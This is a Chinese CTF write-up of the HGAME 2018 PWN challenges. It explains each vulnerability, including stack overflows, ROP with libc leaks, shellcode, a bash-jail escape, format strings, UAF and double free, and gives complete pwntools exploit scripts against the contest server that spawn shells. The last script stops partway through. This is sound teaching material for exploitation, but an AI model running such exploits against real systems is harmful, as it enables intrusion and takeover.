HGAME 2018 PWN题记录

HGAME 2018是由杭电的Vidar-Team举办的校内赛,历时一个月,记录一下其中的PWN题目。

LEVEL - WEEK 1

guess_number

题目流程很简单,首先使用/dev/urandom文件生成随机数,使用这个随机数作为rand()的种子,生成随机数,与用户输入的随机数进行比较,比较正确就会返回system(‘cat flag’)。

这题存在一个明显的栈溢出漏洞,但是开启了canary保护。起初思路被urandom函数带偏了,以为是要用伪随机本地爆破rand()种子,再进行生成,还暗搓搓的感叹好难啊。。后来发现在guess_num函数中的栈溢出是可以利用的,这个随机数是以参数的方式传入的,在比较时寻址方式是用ebp+4来寻址的,也就是说利用栈溢出覆盖,完全可以将随机数覆盖成任意值。

解题的exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#coding:utf-8

from pwn import *
import time
debug=0

if debug:
p= process('./guess_number')
context.log_level = 'debug'

else:
p = remote('111.230.149.72 ', 10002)

p.recvuntil('enter your guess:')
a = "0\x00"
a = a.ljust(0x128,'\x00')
print len(a)
p.sendline(a)
print p.recv()
p.interactive()

flag_server

题目的内容是一个登陆系统,当用户输入”admin”和随机数密码时可以将一个v9变量赋值为1,进一步可以执行system(‘cat flag’)

其中,存在一个明显的整数负数溢出漏洞,当输入的长度是负数的时候,可以输入任意长的内容,在read_n函数中溢出,则可以覆盖到调用read_n函数的main函数栈中,进一步可以覆盖v9变量为任意值,导致控制逻辑流程。

解题的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

from pwn import *
import time
debug=0

if debug:
p= process('./flag_server')
context.log_level = 'debug'

else:
p = remote('111.230.149.72 ', 10001)
p.recvuntil('your username length: ')
p.sendline('-1')
p.recvuntil('whats your username?')
a = "admin"
a = a.ljust(0x50,'1')
print len(a)
p.sendline(a)
print p.recv()
p.interactive()

zazahui

一道贪玩蓝月梗的题目,在初始化函数中,分别将广告词和flag读到bss段中,在sub_8048698()函数中,一直让用户输入广告词。

漏洞被故意留在sub_8048698函数中,根据栈中变量位置和输入长度可以很明显的发现可以覆盖s这个变量,当把变量覆盖为flag地址时,在puts(s)中就可以读出flag。

使用的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding:utf-8

from pwn import *
import time
debug=0

if debug:
p= process('./zazahui')
context.log_level = 'debug'
gdb.attach(p,'b *0x80486D5')
else:
p = remote('111.230.149.72 ', 10003)
p.recvuntil('>')
a= 'a'*0xb0+p32(0x804A060)+p32(0x99)
p.sendline(a)
p.recv()
p.interactive()

LEVEL - WEEK 2

ez_shellcode

代码逻辑从题目名字中就可猜测出来,用户输入一串shellcode,程序来执行,仅仅限制了shellcode长度不超过24个字节。

这样一来,pwntools的shellcraft.sh()就不能用了,只能手写一个shellcode拿到shell。其原理是执行int 80h,使得ebp指向’/bin/sh’,eax的值是0xb,ecx、edx置零就可以了。

解题使用的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding:utf-8

from pwn import *
import time
debug=0

if debug:
p= process('./ez_shellcode')
context.log_level = 'debug'
gdb.attach(p,'b *0x8048663')
else:
p = remote('111.230.149.72 ', 10004)
p.recvuntil('>')
shellcode = '''
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 0xb
pop eax
int 0x80
'''

a = shellcraft.sh()
print len(asm(shellcode))

p.sendline(asm(shellcode))

p.interactive()

ez_bash_jail

此题给用户一个system(lineptr)的权利,但是限制了用户输入’abcfhgilnst‘这些字母。这样一来如’cat flag’、’cat fl\‘、’sh’、’/bin/sh’就都不能用了。

题目给了hint,是研究一下system源码:https://code.woboq.org/userspace/glibc/sysdeps/posix/system.c.html#do_system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

... ...
116 #ifdef FORK
117 pid = FORK ();
118 #else
119 pid = __fork ();
120 #endif
121 if (pid == (pid_t) 0)
122 {
123 /* Child side. */
124 const char *new_argv[4];
125 new_argv[0] = SHELL_NAME;
126 new_argv[1] = "-c";
127 new_argv[2] = line;
128 new_argv[3] = NULL;
129
130 /* Restore the signals. */
131 (void) __sigaction (SIGINT, &intr, (struct sigaction *) NULL);
132 (void) __sigaction (SIGQUIT, &quit, (struct sigaction *) NULL);
133 (void) __sigprocmask (SIG_SETMASK, &omask, (sigset_t *) NULL);
134 INIT_LOCK ();
135
136 /* Exec the shell. */
137 (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);
138 _exit (127);
139 }
140 else if (pid < (pid_t) 0)
141 /* The fork failed. */
142 status = -1;
143 else
144 /* Parent side. */
145 {
146 /* Note the system() is a cancellation point. But since we call
147 waitpid() which itself is a cancellation point we do not
148 have to do anything here. */
149 if (TEMP_FAILURE_RETRY (__waitpid (pid, &status, 0)) != pid)
150 status = -1;
151 }
...

可以看到system的最后是执行了execve(“/bin/sh”,new_argv,__environ),其中new_argv[0]=’sh’,new_argv[1]=’-c’,new_argv[2]=lineptr 的。

再看一下execve的用法是什么:

1
execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

就是可以重新执行一份新的代码。

再看下一个hint,学习一下shell的变量,正则等等?

题目中过滤了许多正常字符,但是\$符号没有被过滤,$是bash脚本中一个特殊的符号,可以定义变量,在搜索中发现bash中有几个特殊的变量

1
2
3
4
5
6
7
$0就是该bash文件名
$?是上一指令的返回值
$*所有位置参数的内容:就是调用调用本bash shell的参数。
$@基本上与上面相同。只不过是
“$*”返回的是一个字符串,字符串中存在多外空格。
“$@”返回多个字符串。
"$1",它代表一条记录中的第一列数据

其中最特殊的是$0,它是执行execve程序时的filename路径。可以通过如下代码测试出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
a
#! /bin/sh
echo "============="
echo $0
echo "============="


main.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
char *newargv[] = { "xx" };
char *newenviron[] = { NULL };


newargv[0] = argv[1];

execve("./a", newargv, newenviron);
perror("execve"); /* execve() only returns on error */
exit(EXIT_FAILURE);
}

因此可以发现在题目中执行system(lineptr)时,如果lineptr=’$0’的话,实际上执行的是execve(“/bin/sh”,new_argv,__environ),其中new_argv[0]=’sh’,new_argv[1]=’-c’,new_argv[2]=’\$0’

而\$0就是’/bin/sh’,进一步就获得了shell。

题解的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#coding:utf-8

from pwn import *
import time
debug=0

if debug:
p= process('./bash_jail')
context.log_level = 'debug'
#gdb.attach(p,'b *0x8048663')
else:
p = remote('111.230.149.72 ', 10006)
p.recvuntil('>')
p.sendline('$0')
p.interactive()

hacker_system_v1

程序功能较多,但留下的漏洞很明显, 用户可以自定义输入长度,但是用于存储的空间是一定的,因此存在栈溢出漏洞,并且没有开启canary保护。

通常的栈溢出需要泄露libc地址,因此构造的rop分成两段,首先打印出puts@got泄露出libc地址,再read另一段rop到bss段中可以写的位置,最终将栈迁移过去。

解题的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#coding:utf-8

from pwn import *
import time
debug=0
elf = ELF('./hacker_system_ver1')
if debug:
p= process('./hacker_system_ver1')
context.log_level = 'debug'
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
gdb.attach(p,'b *0x8048B1B')
else:
p = remote('111.230.149.72 ', 10005)
libc = ELF('./libc32.so')
p.recvuntil('>')
p.sendline('2')
p.recvuntil('length:')
p.sendline('200')
p.recvuntil('name:')
padding = 'a'*0x34
pr = 0x08048455
pppr = 0x08048d49
rop = padding + p32(0x804be00)+p32(elf.symbols['puts']) + p32(pr) + p32(elf.got['puts']) + p32(elf.symbols['read'])+p32(pppr)+p32(0)+p32(0x804be00) + p32(0x100)+ p32(0x08048d4b)+p32(0x804be00)+p32(0x8048B1A)# p32(0x804843e)
p.sendline(rop)
p.recvuntil('find!!\n')
puts_addr = u32(p.recv(4))
print '[+]puts address:',hex(puts_addr)
libc.address = puts_addr-libc.symbols['puts']
print '[+]system address:',hex(libc.symbols['system'])
rop = p32(0x804bc00)+ p32(libc.symbols['system'])+p32(0xdeadbeef)+p32(next(libc.search('/bin/sh')))
p.send(rop)
p.interactive()
'''
============================================================
0x08048d4b : pop ebp ; ret
0x08048d48 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048455 : pop ebx ; ret
0x08048d4a : pop edi ; pop ebp ; ret
0x08048d49 : pop esi ; pop edi ; pop ebp ; ret
0x0804843e : ret
0x080487f0 : ret 0x458b
0x0804819c : ret 0x8694
0x080485ce : ret 0xeac1
'''

ez_shellcode_ver2

这个是ez_shellcode的升级版本,对shellcode长度没有限制,仅限制shellcode是a~zA~Z0~9范围内,这样的shellcode叫alpha shellcode,利用msfencode可以生成,但大多数时候都直接使用可以百度到的orz http://blog.csdn.net/v_ling_v/article/details/42824007,其原理都是利用自解密将不可见字符利用异或等操作进行解密处理,如int 80这样的指令。

解题的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#coding:utf-8

from pwn import *
import time
debug=0

if debug:
p= process('./ez_shellcode_ver2')
context.log_level = 'debug'
#gdb.attach(p,'b *0x8048663')
else:
p = remote('111.230.149.72 ', 10007)
p.recvuntil('>')
shellcode = '''PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA'''

#a = shellcraft.sh()
#print len(asm(shellcode))

p.sendline((shellcode))
p.interactive()

LEVEL - WEEK 3

hacker_system_ver2

这是第二周题目的升级版,除了编译环境从x86转换到了x64没任何差别,包括漏洞。

因此利用同样的解题思路进行rop构造,仅是gadget的使用方法不同罢了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#coding:utf-8

from pwn import *
import time
debug=0
elf = ELF('./hacker_system_ver2')
if debug:
p= process('./hacker_system_ver2')
context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gdb.attach(p,'b *0x400d74')
else:
p = remote('111.230.149.72 ', 10008)
libc = ELF('./libc64.so')
p.recvuntil('>')
p.sendline('2')
p.recvuntil('length:')
p.sendline('200')
p.recvuntil('name:')
padding = 'a'*0x30
#pr = 0x08048455
#pppr = 0x08048d49
rdi_ret = 0x0000000000400fb3
rsi_ret = 0x0000000000400fb1
rbp_ret = 0x0000000000400800
rop = padding + p64(0x602e00) + p64(rdi_ret) +p64(elf.got['puts']) + p64(elf.symbols['puts']) + p64(rsi_ret) + p64(0x602e00) + p64(0x602e00) + p64(rdi_ret) + p64(0) + p64(elf.symbols['read']) + p64(rbp_ret) + p64(0x602e00) + p64(0x400D74)
#rop = padding + p32(0x804be00)+p32(elf.symbols['puts']) + p32(pr) + p32(elf.got['puts']) + p32(elf.symbols['read'])+p32(pppr)+p32(0)+p32(0x804be00) + p32(0x100)+ p32(0x08048d4b)+p32(0x804be00)+p32(0x8048B1A)# p32(0x804843e)
p.sendline(rop)
p.recvuntil('find!!\n')
puts_addr = u64(p.recv(6).ljust(8,'\0'))
print '[+]puts address:',hex(puts_addr)
libc.address = puts_addr-libc.symbols['puts']
print '[+]system address:',hex(libc.symbols['system'])
rop = p64(0x602c00)+ p64(rdi_ret) +p64(next(libc.search('/bin/sh'))) + p64(libc.symbols['system'])
p.send(rop)
p.interactive()
'''
Gadgets information
============================================================
0x0000000000400fac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400fae : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400fb0 : pop r14 ; pop r15 ; ret
0x0000000000400fb2 : pop r15 ; ret
0x0000000000400fab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400faf : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400800 : pop rbp ; ret
0x0000000000400fb3 : pop rdi ; ret
0x0000000000400fb1 : pop rsi ; pop r15 ; ret
0x0000000000400fad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a9 : ret
0x0000000000400a29 : ret 0x8b48

Unique gadgets found: 12




'''

calc

题目中实现了一个简单的计算器。题目采用静态编译的方法,编译了需要的所有函数。

漏洞在于每次存储结果时,计数器会往后移4个字节,但是对于存储结果个数没有限制,导致栈溢出。

利用ROPgadget的ropchain功能,对于静态编译的程序,很容易可以生成一个rop链,将rop链覆盖在返回地址处即可。

解题的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#coding:utf-8
from struct import pack
from pwn import *
import time
debug=0

if debug:
p= process('./calc')
#context.log_level = 'debug'

else:
p= remote('111.230.149.72 ', 10009)

def get_rop_string():
rop = ''
rop += pack('<I', 0x08056ad3) # pop edx ; ret
rop += pack('<I', 0x080ea060) # @ .data
rop += pack('<I', 0x080b8446) # pop eax ; ret
rop += '/bin'
rop += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x08056ad3) # pop edx ; ret
rop += pack('<I', 0x080ea064) # @ .data + 4
rop += pack('<I', 0x080b8446) # pop eax ; ret
rop += '//sh'
rop += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x08056ad3) # pop edx ; ret
rop += pack('<I', 0x080ea068) # @ .data + 8
rop += pack('<I', 0x08049603) # xor eax, eax ; ret
rop += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x080481c9) # pop ebx ; ret
rop += pack('<I', 0x080ea060) # @ .data
rop += pack('<I', 0x080dee5d) # pop ecx ; ret
rop += pack('<I', 0x080ea068) # @ .data + 8
rop += pack('<I', 0x08056ad3) # pop edx ; ret
rop += pack('<I', 0x080ea068) # @ .data + 8
rop += pack('<I', 0x08049603) # xor eax, eax ; ret
rop += pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0806d445) # int 0x80
return rop

def add_save(num):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('a:')
p.sendline(str(num))
p.recvuntil('b:')
p.sendline('0')
p.recvuntil('>>>')
p.recvuntil('>')
p.sendline('5')
p.recvuntil('success!!')

def padding():
for i in range(0,64):
add_save(0xbadbad)
print '[+] round',str(i)
add_save(68)

def rop_input(rop_string):
for i in range(len(rop_string)/4):
print hex(u32(rop_string[4*i:4*(i+1)]))
add_save(u32(rop_string[4*i:4*(i+1)]))

padding()
#gdb.attach(p,'b *0x8048AC0')
rop='\xd3j\x05\x08`\xa0\x0e\x08F\x84\x0b\x08/bin\xfbQ\x05\x08\xd3j\x05\x08d\xa0\x0e\x08F\x84\x0b\x08//sh\xfbQ\x05\x08\xd3j\x05\x08h\xa0\x0e\x08\x03\x96\x04\x08\xfbQ\x05\x08\xc9\x81\x04\x08`\xa0\x0e\x08]\xee\r\x08h\xa0\x0e\x08\xd3j\x05\x08h\xa0\x0e\x08\x03\x96\x04\x08\x1f\xb0\x07\x08\x1f\xb0\x07\x08\x1f\xb0\x07\x08\x1f\xb0\x07\x08\x1f\xb0\x07\x08\x1f\xb0\x07\x08\x1f\xb0\x07\x08\x1f\xb0\x07\x08\x1f\xb0\x07\x08\x1f\xb0\x07\x08\x1f\xb0\x07\x08E\xd4\x06\x08'
#print '[*] flag',flag
rop_input(rop)
p.recvuntil('>')
p.sendline('6')
p.recvuntil('bye.')
p.sendline('cat flag')
p.interactive()

zazahui_ver2

和上一版本的zazahui有所不同,这次利用的是strcmp的比较。

同样存在s的溢出覆盖,不过此次不能简单的使用溢出来打印flag了,但是strcmp仍然可以利用,就是爆破。

逆向爆破flag的地址,可以大大缩短爆破次数。

解题的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding:utf-8

from pwn import *
import time
debug=0

if debug:
p= process('./zazahui_ver2')
#context.log_level = 'debug'
gdb.attach(p,'b *0x80487AB')
else:
p = remote('111.230.149.72 ', 10010)
dic = range(33,127)
dic.append(0)
#qdic.reverse()
p.recvuntil('>')
start = 0x804A084
end = 0x804A060
flag=''
i = start
while i>=end:
pro = log.progress('go')
for j in dic:
pro.status('boom for '+hex(i))
bomb = (chr(j)+flag)+'\0'*(0xb0-len((chr(j)+flag)))+p32(i)
p.send(bomb)
if 'too' in p.recvuntil('>'):
flag = chr(j) + flag
pro.success(hex(i)+': '+hex(j)+' '+chr(j))
i = i-1

#a= 'a'*0xb0+p32(0x804A060)+p32(0x99)
#p.recv()
print '[*] flag',flag
p.interactive()

message_saver

程序实现了一个可以加解密存储的记事本,逻辑简单

只维护了一个变量作为message的存储结构,结构如下

1
2
3
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| length | address | function ptr |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

其生成方法在add函数中:

在edit函数中可以重新编辑信息,在编辑过程中会重新申请一个内存块,但原来的并不会释放(内存泄露),最终会执行function(address)函数,主要如果可以控制内存块的内容,就完全可以控制执行逻辑。

在delete函数中会free掉这个内存块,但并未置空结构体,存在一个悬垂指针。

并且,在全部的函数中都没有检测都没有检测是否已经删除了结构块,导致一个UAF漏洞、double free漏洞。

利用UAF漏洞可以很容易的控制程序执行流程:

先申请一个非0x18的块,delete之后,在edit一个0x18的块,就可以劫持结构体内容了。

解题的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#coding:utf-8

from pwn import *
import time
debug=0
elf = ELF('./message_saver')
if debug:
p= process('./message_saver')
context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gdb.attach(p,'b *0x400C64')
else:
p = remote('111.230.149.72 ', 10011)
libc = ELF('./libc64.so')
p.recvuntil('>')
p.sendline('1')
p.recvuntil('length:')
p.sendline(str(0x100))
p.sendline('p4nda')
p.recvuntil('===')
p.sendline('2')
p.recvuntil('>')
p.sendline('4')
p.recvuntil('>')
p.sendline('2')
p.recvuntil('length:')
p.sendline(str(0x18))
p.recvuntil('message:')
p.sendline(p64(0x00)+p64(elf.got['puts'])+p64(0x40084D))
p.recvuntil('>')
p.sendline('3')
p.sendline('\0\0\0'+p64(0x00)+p64(elf.got['puts'])+p64(elf.symbols['puts']))
p.recvuntil('>')
p.sendline('3')
tmp = p.recvuntil('\n==')
addr = tmp[-9:-3]
puts_addr = u64(addr.ljust(8,'\0'))
print '[+]puts addr : ',hex(puts_addr)
libc.address = puts_addr - libc.symbols['puts']
print '[+]system addr :',hex(libc.symbols['system'])
p.recvuntil('>')
p.sendline('4')
p.recvuntil('>')
p.sendline('2')
p.recvuntil('length:')
p.sendline(str(0x18))
p.recvuntil('message:')
p.sendline('/bin/sh\0'+p64(elf.got['puts'])+p64(libc.symbols['system']))

p.interactive()

LEVEL - WEEK 4

ascii_art_market

题目是一个简单的ASCII码艺术字生成器,但对题目没有什么影响,关键点在于main函数中存在一个0x10比特的栈溢出,导致可以覆盖rbp和返回地址。但这远不够获得shell。

最初的想法是先把rbp迁移到一个可写的地方,然后慢慢调试返回地址到哪里去,一个直接的想法是继续输入,争取更大的rop链,因此先把返回地址写到0x4009fc,这个位置可以继续输入,调试时发现,这样覆盖会把输入内容写到bss-0x80的位置去。这样再把栈迁移到bss-0x80就可以执行输入的rop了,第二次再覆盖时,利用leave ret将栈迁移到bss段上,就可以执行任意的rop了,使用的rop和hacker_system中的相同。

解题的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#coding:utf-8

from pwn import *
import time
debug=0
elf = ELF('./ascii_art_maker')
if debug:
p= process('./ascii_art_maker')
context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gdb.attach(p,'b *0x0400A2B')
else:
p = remote('111.230.149.72 ', 10012)
libc = ELF('./libc64.so')
target = 0x4009FC
p.recvuntil('convert:')
p.send('a'*0x80+p64(0x602c00)+p64(target))
rdi_ret = 0x0000000000400a93
rsi_ret = 0x0000000000400a91
rbp_ret = 0x0000000000400640
rop =p64(0xbadbad)+ p64(rdi_ret) + p64(elf.got['puts']) + p64(elf.symbols['puts'])+ p64(rsi_ret) + p64(0x602e00) + p64(0x602e00) + p64(rdi_ret) + p64(0) + p64(elf.symbols['read']) + p64(rbp_ret) + p64(0x602e00) + p64(0x400A2B)
rop = rop.ljust(0x80,'a')+p64(0x602c00-0x80)+p64(0x400A2B)
#p.send(p64())
p.send(rop)

addr_leak = p.recvuntil('\x7f')[-6:]
puts_addr = u64(addr_leak.ljust(8,'\0'))
print '[+] puts : ',hex(puts_addr)
libc.address = puts_addr - libc.symbols['puts']
print '[+] system: ',hex(libc.symbols['system'])
rop = p64(0x602c00)+ p64(rdi_ret) +p64(next(libc.search('/bin/sh'))) + p64(libc.symbols['system'])
p.send(rop)
p.interactive()
'''
============================================================
0x0000000000400a8c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a8e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a90 : pop r14 ; pop r15 ; ret
0x0000000000400a92 : pop r15 ; ret
0x0000000000400a8b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a8f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400640 : pop rbp ; ret
0x00000000004009dd : pop rbx ; pop rbp ; ret
0x0000000000400a93 : pop rdi ; ret
0x0000000000400a91 : pop rsi ; pop r15 ; ret
0x0000000000400a8d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400541 : ret
0x0000000000400980 : ret 0x458b

'''

base64_decoder

题目是一个base64解码器,将用户输入的字符串经过base64解码,然后打印出来。

存在一个明显的格式化字符串漏洞,并且字符串漏洞在栈上,可以对内存地址任意写。

起初以为很简单,直接使用了之前给的libc文件,却发现怎么搞也搞不通,猜测是libc被替换了,学习使用了libc database,找到了题目使用的libc——libc6-i386_2.19-0ubuntu6.14_amd64.so。

可以参考置顶日志的libc database使用方法

最终利用system替换strcmp执行system(‘/bin/sh’),解题脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf-8
'''
%7$p offset
'''
from pwn import *
import time,base64
debug=0
elf = ELF('./base64_decoder')
if debug:
p= process('./base64_decoder')
context.log_level = 'debug'
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
gdb.attach(p,'b *0x8048945')
else:
p = remote('111.230.149.72',10013)#process('./pwn1')
libc = ELF('./libc6-i386_2.19-0ubuntu6.14_amd64.so')
#base64.b64encode(s, altchars=None)
p.recvuntil('>')
p.sendline(base64.b64encode('%2$p'))
heap_addr = p.recvline()
print '[*] heap addr:',heap_addr
heap_addr_int = int(heap_addr[3:-1],16)
print '[*] heap addr:',hex(heap_addr_int)
p.recvuntil('>')
fmt = p32(heap_addr_int-0x110)+"%%%dc%%%d$hhn"%(200,7)
p.sendline(base64.b64encode(fmt))

p.recvuntil('>')
fmt = p32(elf.got['printf'])+"%7$s"
p.sendline(base64.b64encode(fmt))

p.recvuntil('\x08')
printf_addr = u32(p.recv(4))
print '[*] printf addr:',hex(printf_addr)

p.recvuntil('>')
fmt = p32(elf.got['puts'])+"%7$s"
p.sendline(base64.b64encode(fmt))

p.recvuntil('\x08')
puts_addr = u32(p.recv(4))
print '[*] puts addr:',hex(puts_addr)
libc.address = puts_addr - libc.symbols['puts']
print '[*] system addr:',hex(libc.symbols['system'])
target = libc.symbols['system'] #
print '[+] strcmp@got: ',hex(elf.got['strcmp'])
p.recvuntil('>')
fmt = fmtstr_payload(7, {elf.got['strcmp']: target}, write_size='byte')
p.sendline(base64.b64encode(fmt))
p.recvuntil('>')

p.interactive()

hacker_system_ver3

函数维护了一个bss段上的结构体数组,其每一个结构体的大小是0x38,

1
2
3
4
5
6
7
8
9
10

0x00 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| length | name 1 |
0x10 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| name 2 | name 3 |
0x20 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| name 4 | age |
0x30 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| intr addr |
0x38 +-+-+-+-+-+-+-

其漏洞在于删除函数中,利用name寻址,将intr address释放后,再释放该结构体,最终将数组的该位置置空。

但问题在于,当出现name相同的结构体时,仅置空了最后一个数组的指针,造成之前的指针均为悬垂指针,进而造成double free漏洞。

该double free漏洞可以控制任意大小的fastbin,原因是,在add 功能时,可以add任意大小的内存块。

这里采用了bluecake@dubhe大佬的fastbin利用方法。

劫持两个fastbin的链来构造新的fake bin块。最终覆写top地址,将top地址覆写为不存在canary保护的函数栈上,再申请堆块是,会把栈地址分配给用户,进一步可以写rop,劫持控制流,拿到shell。

解题的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
#import time,base64
debug=0
elf = ELF('./hacker_system_ver3')
if debug:
p= process('./hacker_system_ver3')
context.log_level = 'debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#gdb.attach(p)#,'b*0x0400F6D'
else:
p = remote('111.230.149.72',10014)#process('./pwn1')
libc = ELF('./libc64.so')

def add(name,age,length,intro):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('name:')
p.send(name)
p.recvuntil('age:')
p.sendline(str(age))
p.recvuntil('length:')
p.sendline(str(length))
p.recvuntil('intro:')
p.sendline(intro)

def print_user(name):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('name:')
p.sendline(name)

def delete_user(name):
p.recvuntil('>')
p.sendline('3')
p.recvuntil('name:')
p.sendline(name)

#step 1 leak libc
add('step1\n',0,0x20,'hack by p4nda')
add('step1\n',0,0x20,'hack by p4nda')
delete_user('step1')
add('nop1\n',0,0x38,p64(0x18)+'1'.ljust(0x20,'\0')+p64(3)+p64(elf.got['puts']))
print_user('1')
p.recvuntil('intro:')
puts_addr = u64(p.recv(6).ljust(8,'\0'))
print '[+]puts addr :',hex(puts_addr)
libc.address = puts_addr - libc.symbols['puts']
print '[+]system addr :',hex(libc.symbols['system'])
#step 2 leak steak
add('step2\n',0,0x20,'hack by p4nda')
add('step2\n',0,0x20,'hack by p4nda')
delete_user('step2')
add('nop2\n',0,0x38,p64(0x18)+'2'.ljust(0x20,'\0')+p64(3)+p64(libc.symbols['environ']))
print_user('2')
p.recvuntil('intro:')
stack_addr = u64(p.recv(6).ljust(8,'\0'))
print '[+]stack addr :',hex(stack_addr)
stack_offset =0x7ffd3af20438-0x7ffd3af20330
#add('padding\n',18,0x138,'hack by p4nda')
#delete_user('nop2')
#delete_user('2')
#delete_user()
'''
add('padding_3\n',18,0x20,'hack by p4nda')
add('step3\n',18,0x20,'hack by p4nda')
add('step3\n',18,0x20,'hack by p4nda')
delete_user('step3')
add('nop3\n',18,0x38,p64(0x18)+'3'.ljust(0x20,'\0')+p64(3)+p64(0))
delete_user('nop3')
delete_user('3')
delete_user('padding_3')
add('ctrl3\n',18,0x38,p64(0xdeadbeef))
'''
add('step3\n',0,0x70,'hack by p4nda')
add('step3\n',0,0x70,'hack by p4nda')
delete_user('step3')
delete_user('step3')
print '[+]stack addr :',hex(stack_addr)
#gdb.attach(p,'b *0x400a0f')
add('step3\n',0,0x70,p64(0x61))
add('step3\n',0,0x70,'hack by p4nda')
